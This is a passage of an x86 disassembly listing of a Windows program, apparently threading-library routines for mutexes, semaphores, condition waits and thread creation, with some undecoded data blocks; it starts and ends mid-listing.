loc_430AC2 loc_430A7B: ; CODE XREF: sub_4309A0+131j push offset dword_5109A0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_5103D0 mov [esi+1Ch], ecx mov eax, dword_5103D0 test eax, eax jz short loc_430AA2 mov [eax+18h], esi loc_430AA2: ; CODE XREF: sub_4309A0+FDj mov eax, dword_5103CC mov dword_5103D0, esi test eax, eax jnz short loc_430AB7 mov dword_5103CC, esi loc_430AB7: ; CODE XREF: sub_4309A0+10Fj push offset dword_5109A0 nop call near ptr 7C9010EDh loc_430AC2: ; CODE XREF: sub_4309A0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4309A0+B7j xor edi, edi jmp short loc_430A7B sub_4309A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430B30 proc near ; CODE XREF: sub_401AA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_430CDC mov eax, [edi] test eax, eax jz loc_430CDC cmp eax, 0FFFFFFFFh jz loc_430C93 push offset dword_5109A0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430B89 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430B89: ; CODE XREF: sub_430B30+49j lea ebp, [esi+14h] push ebp call sub_401785 add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_430BB0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_430B30+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_430BE9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_430BD2 call near ptr 77C1F2BCh nop mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_430BD2: ; CODE XREF: sub_430B30+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_430C7E ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B30+87j push ebx mov dword ptr [edi], 0 call sub_401690 mov edi, dword_511A70 add esp, 4 test eax, eax jz short loc_430C0A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_430C0A: ; CODE XREF: sub_430B30+D0j lea eax, [esi+0Ch] push eax call sub_401690 add esp, 4 test eax, eax jz short loc_430C22 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_430C22: ; CODE XREF: sub_430B30+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_430C3C push ebp call sub_402252 add esp, 4 mov ebx, eax loc_430C3C: ; CODE XREF: sub_430B30+FFj cmp dword_5103CC, esi jnz short loc_430C4F mov edx, [esi+18h] mov dword_5103CC, edx jmp short loc_430C58 ; --------------------------------------------------------------------------- loc_430C4F: ; CODE XREF: sub_430B30+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_430C58: ; CODE XREF: sub_430B30+11Dj cmp dword_5103D0, esi jnz short loc_430C6B mov edx, [esi+1Ch] mov dword_5103D0, edx jmp short loc_430C74 ; --------------------------------------------------------------------------- loc_430C6B: ; CODE XREF: sub_430B30+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_430C74: ; CODE XREF: sub_430B30+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_430C7E: ; CODE XREF: sub_430B30+B4j push offset dword_5109A0 call near ptr 7C9010EDh nop mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_430CC2 ; --------------------------------------------------------------------------- loc_430C93: ; CODE XREF: sub_430B30+28j push offset dword_510920 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_430CAB mov dword ptr [edi], 0 jmp short loc_430CB7 ; --------------------------------------------------------------------------- loc_430CAB: ; CODE XREF: sub_430B30+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_430CB7: ; CODE XREF: sub_430B30+179j push offset dword_510920 nop call near ptr 7C9010EDh loc_430CC2: ; CODE XREF: sub_430B30+161j test esi, esi jz short loc_430CCE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CCE: ; CODE XREF: sub_430B30+194j test ebp, ebp mov eax, ebp jnz short loc_430CE1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CDC: ; CODE XREF: sub_430B30+15j ; sub_430B30+1Fj mov eax, 16h loc_430CE1: ; CODE XREF: sub_430B30+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_430B30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D60 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_430D90 add esp, 0Ch retn sub_430D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D90 proc near ; CODE XREF: sub_430D60+Cp ; sub_431060+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_430E99 mov eax, [esi] test eax, eax jz loc_430E99 cmp eax, 0FFFFFFFFh jnz short loc_430DD2 push esi call sub_401B63 add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_430DD2 cmp eax, 10h jnz loc_430E9E loc_430DD2: ; CODE XREF: sub_430D90+26j ; sub_430D90+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_430DF2 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430DF2: ; CODE XREF: sub_430D90+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430E12 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430E12: ; CODE XREF: sub_430D90+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_430F00 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401663 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_430E99: ; CODE XREF: sub_430D90+13j ; sub_430D90+1Dj mov eax, 16h loc_430E9E: ; CODE XREF: sub_430D90+3Cj pop edi pop esi add esp, 20h retn sub_430D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_430F00: ; DATA XREF: sub_430D90+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402248 add esp, 4 test eax, eax jz short loc_430F2B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F2B: ; CODE XREF: ___:00430F21j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_430F3E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_430FA7 ; --------------------------------------------------------------------------- loc_430F3E: ; CODE XREF: ___:00430F34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_430FA7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430F72 call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F72: ; CODE XREF: ___:00430F5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430F9C nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: ___:00430F86j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_430FA7: ; CODE XREF: ___:00430F3Cj ; ___:00430F4Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_430FC0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FC0: ; CODE XREF: ___:00430FB2j cmp ebx, 1 jnz short loc_430FE9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430FE9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FE9: ; CODE XREF: ___:00430FC3j ; ___:00430FD3j mov ecx, [ebp+0] push ecx call sub_402248 add esp, 4 test eax, eax jz short loc_430FFF mov edx, [esp+18h] mov [edx], eax loc_430FFF: ; CODE XREF: ___:00430FF7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431060 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_43106E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43106E: ; CODE XREF: sub_431060+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_430D90 add esp, 0Ch retn sub_431060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310A0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4310C0 add esp, 8 retn sub_4310A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p ; sub_431220+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_4311C4 mov esi, [eax] test esi, esi jz loc_4311C4 cmp esi, 0FFFFFFFFh jnz short loc_4310E4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4310E4: ; CODE XREF: sub_4310C0+1Cj lea ebx, [esi+14h] push ebx call sub_402248 add esp, 4 test eax, eax jnz loc_4311C9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_431134 test eax, eax jnz short loc_431112 loc_431105: ; CODE XREF: sub_4310C0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431112: ; CODE XREF: sub_4310C0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_431129 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431129: ; CODE XREF: sub_4310C0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_431193 ; --------------------------------------------------------------------------- loc_431134: ; CODE XREF: sub_4310C0+3Fj cmp eax, [esi+4] jle short loc_431105 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_431160 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431160: ; CODE XREF: sub_4310C0+87j mov eax, [esi+4] test eax, eax jz short loc_431174 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_431174: ; CODE XREF: sub_4310C0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_431189 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431189: ; CODE XREF: sub_4310C0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_431193: ; CODE XREF: sub_4310C0+72j dec eax mov [esi], eax loc_431196: ; CODE XREF: sub_4310C0+67j ; sub_4310C0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4311BE add esi, 0Ch push edi push esi call sub_402068 add esp, 8 test eax, eax jz short loc_4311BE call near ptr 77C1F2BCh nop mov ebx, [eax] loc_4311BE: ; CODE XREF: sub_4310C0+E3j ; sub_4310C0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_4310C0+9j ; sub_4310C0+13j mov eax, 16h loc_4311C9: ; CODE XREF: sub_4310C0+32j pop edi pop esi pop ebx retn sub_4310C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431220 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4310C0 add esp, 8 retn sub_431220 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431240 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B27 mov esi, eax test esi, esi jz loc_431316 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_431316 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_4312BE mov eax, [ebp+0] test eax, eax jz short loc_4312BE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_4312C0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_4312C0 ; --------------------------------------------------------------------------- loc_4312BE: ; CODE XREF: sub_431240+4Dj ; sub_431240+54j xor edi, edi loc_4312C0: ; CODE XREF: sub_431240+6Ej ; sub_431240+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401BA9 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_431309 test ebp, ebp jz short loc_431302 cmp dword ptr [ebp+0], 0 jz short loc_431302 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020D1 add esp, 0Ch loc_431302: ; CODE XREF: sub_431240+AAj ; sub_431240+B0j push edi nop call near ptr 2770000h loc_431309: ; CODE XREF: sub_431240+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_431349 loc_431316: ; CODE XREF: sub_431240+14j ; sub_431240+30j push esi call sub_4017B7 add esp, 4 xor esi, esi test ebx, ebx jz short loc_43133C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43133C: ; CODE XREF: sub_431240+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_431349: ; CODE XREF: sub_431240+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_431240 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4313B0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4313E7 ; default jmp off_4313EC[ecx*4] ; switch jump loc_4313C5: ; DATA XREF: ___:off_4313ECo call sub_401712 ; jumptable 004313BE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4313CD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017BC ; jumptable 004313BE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4313D5: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4313DD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 0 call sub_401627 locret_4313E7: ; CODE XREF: ___:004313BCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr dd offset loc_4313C5 ; jump table for switch statement dd offset loc_4313CD dd offset loc_4313D5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431420: ; CODE XREF: ___:004017C1j mov eax, dword_5103C4 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 0E8570A75h, 77808EC7h, 4C48390h dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431470 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_5108E0 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_43149B mov eax, [eax+4] test eax, eax jz short loc_43149B push eax nop call near ptr 2760726h cmp eax, 7FFFFFFFh jnz short loc_4314A0 loc_43149B: ; CODE XREF: sub_431470+14j ; sub_431470+1Bj mov esi, 3 loc_4314A0: ; CODE XREF: sub_431470+29j push offset dword_5108E0 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4314BC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4314BE loc_4314BC: ; CODE XREF: sub_431470+3Dj mov eax, esi loc_4314BE: ; CODE XREF: sub_431470+4Aj pop esi retn sub_431470 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: ___:00401654j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_431531 mov edi, [esp+14h] test edi, edi jz short loc_431531 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_431511 lea eax, [esi+4] push eax nop call near ptr 27606A3h test eax, eax jnz short loc_431517 call edi ; _errno mov dword ptr [esi], 1 loc_431511: ; CODE XREF: ___:004314F9j ; ___:0043151Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431517: ; CODE XREF: ___:00431507j cmp dword ptr [esi], 0 jnz short loc_431511 mov edi, dword_5118D8 loc_431522: ; CODE XREF: ___:00431529j push 0 call edi cmp dword ptr [esi], 0 jz short loc_431522 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431531: ; CODE XREF: ___:004314E9j ; ___:004314F1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431560 proc near ; CODE XREF: sub_4012E4j mov eax, dword_5103C4 push esi push edi push eax call sub_401190 sub_431560 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 53E82046h, 900231F6h, 187C1D8Bh dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0E1E89050h dd 500235EEh, 9050D3FFh, 32EA43E8h, 5BC08502h, 0E8560E75h dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 232F14Eh dd 28468990h, 3C4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431630 proc near ; CODE XREF: sub_401A64j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43164E test eax, eax jz short loc_431648 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43164E loc_431648: ; CODE XREF: sub_431630+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: sub_431630+Aj ; sub_431630+16j xor eax, eax retn sub_431630 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431670: ; CODE XREF: ___:0040200Ej mov eax, [esp+4] test eax, eax jge short loc_43167E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: ___:00431676j mov dword_5103D4, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4316A0: ; CODE XREF: ___:00401564j mov eax, dword_5103D4 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4316C0 proc near ; CODE XREF: sub_401B27j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4316E2 push 84h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_431729 loc_4316E2: ; CODE XREF: sub_4316C0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 27508A4h test eax, eax mov [esi+38h], eax jnz short loc_431729 push esi call sub_401BD1 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_431729: ; CODE XREF: sub_4316C0+20j ; sub_4316C0+5Aj mov eax, esi pop esi retn sub_4316C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431750 proc near ; CODE XREF: sub_401307j push esi push offset dword_5108E0 nop call near ptr 7C901005h mov esi, dword_447710 cmp esi, 1 jz short loc_431785 mov eax, [esi+8] push offset dword_5108E0 mov dword_447710, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431785: ; CODE XREF: sub_431750+15j push offset dword_5108E0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431750 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317C0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 push edi push offset dword_5108E0 call near ptr 7C901005h nop mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_447710 push offset dword_5108E0 mov [edx+8], eax mov dword_447710, edx nop call near ptr 7C9010EDh pop edi retn sub_4317C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431810 proc near ; CODE XREF: sub_40164Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_431830 sub_431810 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431830 proc near ; CODE XREF: sub_431810+7p ; sub_431950+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_431830 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_431866 mov eax, [esi+30h] test eax, eax jnz short loc_43186E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43186E mov edi, 2 jmp short loc_43186E ; --------------------------------------------------------------------------- loc_431866: ; CODE XREF: ___:0043184Bj mov dword ptr [esp+0Ch], 0 loc_43186E: ; CODE XREF: ___:00431852j ; ___:0043185Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi call near ptr 27506C3h nop mov ecx, eax sub ecx, 0 jz short loc_4318F9 dec ecx jz short loc_4318A4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318A4: ; CODE XREF: ___:00431889j mov eax, [esp+0Ch] push eax nop call near ptr 2770483h test esi, esi jz short loc_4318EE lea edi, [esi+2Ch] push edi call sub_402248 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4318E5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4318E5: ; CODE XREF: ___:004318C9j push edi call sub_4010C3 add esp, 4 loc_4318EE: ; CODE XREF: ___:004318B1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318F9: ; CODE XREF: ___:00431886j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431950 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_431830 sub_431950 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431980 proc near ; CODE XREF: sub_401C17j arg_0 = dword ptr 4 push esi push offset dword_510940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4319B4 push esi push ecx call sub_4021BC add esp, 8 mov esi, eax push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4319B4: ; CODE XREF: sub_431980+17j test eax, eax jnz short loc_4319BD mov esi, 16h loc_4319BD: ; CODE XREF: sub_431980+36j push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4319F0 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_431A04 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_431A04: ; CODE XREF: sub_4319F0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_431A1F mov eax, [edi] test eax, eax jz short loc_431A1F cmp dword ptr [eax], 1 jnz short loc_431A1F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_431A1F: ; CODE XREF: sub_4319F0+1Aj ; sub_4319F0+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431A44 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A44: ; CODE XREF: sub_4319F0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_431A60 mov edi, [edi] test edi, edi jz short loc_431A60 mov edi, [edi+4] jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: sub_4319F0+63j ; sub_4319F0+69j xor edi, edi loc_431A62: 